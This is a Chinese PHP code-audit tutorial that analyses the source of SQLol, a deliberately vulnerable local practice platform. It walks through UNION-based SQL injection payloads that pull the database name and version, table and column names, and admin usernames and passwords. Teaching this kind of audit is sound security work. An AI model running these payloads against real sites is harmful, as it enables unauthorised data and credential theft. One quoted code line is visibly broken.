0x01 背景

首先恭喜Seay法师的力作《代码审计:企业级web代码安全架构》,读了两天后深有感触。想了想自己也做审计有2年了,决定写个PHP代码审计实例教程的系列,希望能够帮助到新人更好的了解这一领域,同时也作为自己的一种沉淀。大牛请自觉绕道~

0x02 环境搭建

PHP+MySql的集成环境特别多,像PhpStudy、Wamp和Lamp等下一步下一步点下去就成功安装了,网上搜索一下很多就不赘述。
这里提的环境是SQLol,它是一个可配置的SQL注入测试平台,包含了简单的SQL注入测试环境,即SQL语句的四元素增(Insert)、删(Delete)、改(Update)和查(Select)。
PS:什么都没过滤的情况太少了,现在再怎么没有接触过安全的程序员都知道用一些现成的框架来写代码,都有过滤的。所以这个平台主要训练在各种情况下如何进行sql注入以及如何写POC。
①源码我打包了一份:http://pan.baidu.com/s/1nu2vaOT
②解压到www的sql目录下,直接打开http://localhost/sql即可看到如下界面:

0x03 漏洞分析

首先看下源码结构,比较简单,只有一个include文件夹包含一些数据库配置文件:

这里进行简单的源码分析,看不懂就略过以后再看~
1.看select.php文件,开始引入了/include/nav.inc.php

<?php
include('includes/nav.inc.php');
?>

2.跟进nav.inc.php文件,发现该文件是select的核心表单提交页面以及输入处理程序:

表单的输入处理程序比较简单,主要是根据你表单的选择作出相应的过滤和处理,如下

<?php
$_REQUEST = array_merge($_GET, $_POST, $_COOKIE); if (isset($_REQUEST['submit'])) { //submit后,开始进入处理程序 switch ($_REQUEST['sanitize_quotes']) { //单引号的处理,表单选择不过滤,就是对应none,新手看不懂可以学好php再回来 case 'quotes_double':
$_REQUEST['inject_string'] = str_replace('\'', '\'\'', $_REQUEST['inject_string']);
break;
case 'quotes_escape':
$_REQUEST['inject_string'] = str_replace('\'', '\\\'', $_REQUEST['inject_string']);
break;
case 'quotes_remove':
$_REQUEST['inject_string'] = str_replace('\'', '', $_REQUEST['inject_string']);
break; } //对空格的处理,如果参数中没有spaces_remove或者spaces_remove!=on就不会过滤空格
if (isset($_REQUEST['spaces_remove']) and $_REQUEST['spaces_remove'] == 'on') $_REQUEST['inject_string'] = str_replace(' ', '', $_REQUEST['inject_string']); //黑名单关键字的处理,文章用不上,略过...
if (isset($_REQUEST['blacklist_keywords'])) {
$blacklist = explode(',', $_REQUEST['blacklist_keywords']);
}
//过滤级别,新手可以不用管,略过...
if (isset($_REQUEST['blacklist_level'])) {
switch ($_REQUEST['blacklist_level']) {
//We process blacklists differently at each level. At the lowest, each keyword is removed case-sensitively.
//At medium blacklisting, checks are done case-insensitively.
//At the highest level, checks are done case-insensitively and repeatedly. case 'low':
foreach ($blacklist as $keyword) {
$_REQUEST['inject_string'] = str_replace($keyword, '', $_REQUEST['inject_string']);
}
break;
case 'medium':
foreach ($blacklist as $keyword) {
$_REQUEST['inject_string'] = str_replace(strtolower($keyword), '', strtolower($_REQUEST['inject_string']));
}
break;
case 'high':
do {
$keyword_found = ;
foreach ($blacklist as $keyword) {
$_REQUEST['inject_string'] = str_replace(strtolower($keyword), '', strtolower($_REQUEST['inject_string']), $count);
$keyword_found += $count;
}
} while ($keyword_found);
break; }
}
} ?>

3.我们再返回到select.php,发现后面也有个submit后表单处理程序,判断要注射的位置并构造sql语句,跟进看下:

<?php
if(isset($_REQUEST['submit'])){ //submit后,进入处理程序之二,1在上面 if($_REQUEST['location'] == 'entire_query'){//判断是不是整条语句都要注入,这里方便学习可以忽略不管 $query = $_REQUEST['inject_string'];
if(isset($_REQUEST['show_query']) and $_REQUEST['show_query']=='on') $displayquery = '<u>' . $_REQUEST['inject_string'] . '</u>'; } else { //这里是根据你选择要注射的位置来构造sql语句 $display_column_name = $column_name = 'username';
$display_table_name = $table_name = 'users';
$display_where_clause = $where_clause = 'WHERE isadmin = 0';
$display_group_by_clause = $group_by_clause = 'GROUP BY username';
$display_order_by_clause = $order_by_clause = 'ORDER BY username ASC';
$display_having_clause = $having_clause = 'HAVING 1 = 1'; switch ($_REQUEST['location']){
case 'column_name':
$column_name = $_REQUEST['inject_string'];
$display_column_name = '<u>' . $_REQUEST['inject_string'] . '</u>';
break;
case 'table_name':
$table_name = $_REQUEST['inject_string'];
$display_table_name = '<u>' . $_REQUEST['inject_string'] . '</u>';
break;
case 'where_string':
$where_clause = "WHERE username = '" . $_REQUEST['inject_string'] . "'";
$display_where_clause = "WHERE username = '" . '<u>' . $_REQUEST['inject_string'] . '</u>' . "'";
break;
case 'where_int':
$where_clause = 'WHERE isadmin = ' . $_REQUEST['inject_string'];
$display_where_clause = 'WHERE isadmin = ' . '<u>' . $_REQUEST['inject_string'] . '</u>';
break;
case 'group_by':
$group_by_clause = 'GROUP BY ' . $_REQUEST['inject_string'];
$display_group_by_clause = 'GROUP BY ' . '<u>' . $_REQUEST['inject_string'] . '</u>';
break;
case 'order_by':
$order_by_clause = 'ORDER BY ' . $_REQUEST['inject_string'] . ' ASC';
$display_order_by_clause = 'ORDER BY ' . '<u>' . $_REQUEST['inject_string'] . '</u>' . ' ASC';
break;
case 'having':
$having_clause = 'HAVING isadmin = ' . $_REQUEST['inject_string'];
$display_having_clause = 'HAVING isadmin = ' . '<u>' . $_REQUEST['inject_string'] . '</u>';
break;
} $query = "SELECT $column_name FROM $table_name $where_clause $group_by_clause $order_by_clause ";
/*Probably a better way to create $displayquery...
This allows me to underline the injection string
in the resulting query that's displayed with the
"Show Query" option without munging the query
which hits the database.*/
$displayquery = "SELECT $display_column_name FROM $display_table_name $display_where_clause $display_group_by_clause $display_order_by_clause "; } include('includes/database.inc.php');//这里又引入了一个包,我们继续跟进看看 }
?>

4.跟进database.inc.php,终于带入查询了,所以表单看懂了,整个过程就没过滤^ ^

$db_conn = NewADOConnection($dsn);

print("\n<br>\n<br>");
if(isset($_REQUEST['show_query']) and $_REQUEST['show_query']=='on') echo "Query (injection string is <u>underlined</u>): " . $displayquery . "\n<br>"; $db_conn->SetFetchMode(ADODB_FETCH_ASSOC);
$results = $db_conn->Execute($query);

0x04 漏洞证明

1.有了注入点了,我们先随意输入1然后选择注射位置为Where子句里的数字,开启Seay的MySql日志监控:

2.SQL查询语句为:SELECT username FROM users WHERE isadmin = 1 GROUP BY username ORDER BY username ASC
根据MySql日志监控里获取的sql语句判断可输出的只有一个字段,然后我们构造POC:

- union select #  

找到输出点“222333”的位置如下图:

3.构造获取数据库相关信息的POC:

- union select concat(database(),x5c,user(),x5c,version())# 

成功获取数据库名(sqlol)、账户名(root@localhost)和数据库版本(5.6.12)如下:

4.构造获取数据库sqlol中所有表信息的POC:

- union select GROUP_CONCAT(DISTINCT table_name) from information_schema.tables where table_schema=0x73716C6F6C# 

成功获取数据库sqlol所有表信息如下:

5.构造获取admin表所有字段信息的POC:

- union select GROUP_CONCAT(DISTINCT column_name) from information_schema.columns where table_name=0x61646D696E# 

成功获取表admin所有字段信息如下:

6.构造获取admin表账户密码的POC:

-1 union select GROUP_CONCAT(DISTINCT username,0x5f,password) from admin# 

成功获取管理员的账户密码信息如下:

本文由HackBraid整理总结,原文链接:http://www.cnbraid.com/2015/12/17/sql0/,如需转载请联系作者。

【PHP代码审计】 那些年我们一起挖掘SQL注入 - 1.什么都没过滤的入门情况的更多相关文章

  1. PHP代码审计】 那些年我们一起挖掘SQL注入 - 1.什么都没过滤的入门情况

    0x01 背景 首先恭喜Seay法师的力作<代码审计:企业级web代码安全架构>,读了两天后深有感触.想了想自己也做审计有2年了,决定写个PHP代码审计实例教程的系列,希望能够帮助到新人更 ...

  2. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 3.全局防护Bypass之Base64Decode

    0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.同上一篇,我 ...

  3. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 2.全局防护Bypass之UrlDecode

    0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.遇到这种情况 ...

  4. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 8.全局防护盲点的总结下篇

    0x01 背景 现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义.但仅仅使用这样的防护是存在很多盲点的,接上篇http://www ...

  5. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 7.全局防护盲点的总结上篇

    0x01 背景 现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义.但仅仅使用这样的防护是存在很多盲点的,比如最经典的整型参数传递, ...

  6. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 6.全局防护Bypass之一些函数的错误使用

    0x01 背景 PHP程序员在开发过程中难免会使用一些字符替换函数(str_replace).反转义函数(stripslashes),但这些函数使用位置不当就会绕过全局的防护造成SQL注入漏洞. 0x ...

  7. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 4.全局防护Bypass之二次注入

    0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.二次注入也是 ...

  8. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入

    0x01 背景 首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞.具体原 ...

  9. ASP代码审计学习笔记-1.SQL注入

    ASP注入漏洞 一.SQL注入的原因 按照参数形式:数字型/字符型/搜索型 1.数字型sql查询 sql注入原因: ID=49 这类注入的参数是数字型,SQL语句原貌大致如下: id=request. ...

随机推荐

  1. RIP路由协议及工作原理

    RIP路由协议及工作原理 RIP(Routing information Protocol,路由信息协议)是应用较早.使用较普遍的内部网关协议(Interior Gateway Protocol,IG ...

  2. JAVA内部线程1

    在做一个RuntimeException的异常验证的时候,发现即便是JVM的main线程遇到了此类异常,JVM也不一定进行退出,查阅了相关资料:                线   程        ...

  3. 基于php,点亮代码生成技能树

    <?php $table = ($_GET['action']); /*生成后端*/ $fileName="core/Motherboard.php"; $handle=fo ...

  4. python numpy logic_and

    >>> import numpy as np >>> np.logical_and(True, False) False >>> np.logic ...

  5. HTML5实现摇一摇的功能(实测后)--转

    eviceMotionEvent(设备运动事件)返回设备有关于加速度和旋转的相关信息.加速度的数据将包含三个轴:x,y和z(示意如下图所 示,x轴横向贯穿手机屏幕或者笔记本键盘,y轴纵向贯穿手机屏幕或 ...

  6. django学习1

    参考资料:http://www.cnblogs.com/feixuelove1009/p/5910384.html#top 本学习只在记录过程,需要更全面的资料,可直接上参考资料细看. django版 ...

  7. Mysql 8.0.11版本,安装成功,使用Navicat连接失败。

    Note:本文只针对mac!! 问题 安装mysql成功之后,想自己弄个数据库试试,但是报错.并不是错误代号,而是一段代码: Authentication plugin 'caching_sha2_p ...

  8. git中报unable to auto-detect email address 错误的解决拌办法

    昨天刚配置好的git,今天刚要commit一些修改,就遇到了这个问题** Please tell me who you are. Run git config --global user.email ...

  9. IPhone手机页面中点击文本输入框,弹出键盘,网页会放大,如何解决

    在head标签中加入以上meta声明.具体属性可以谷歌/百度. <meta name="viewport" content="width=device-width, ...

  10. Cisco交换机端口聚合(EtherChannel)

    端口聚合,英文简称EtherChannel(以太通道)是由Cisco研发的,应用于交换机之间的多链路捆绑技术.它的基本原理是: 将两个设备间多条物理链路捆绑在一起组成一条逻辑链路,从而达到带宽倍增的目 ...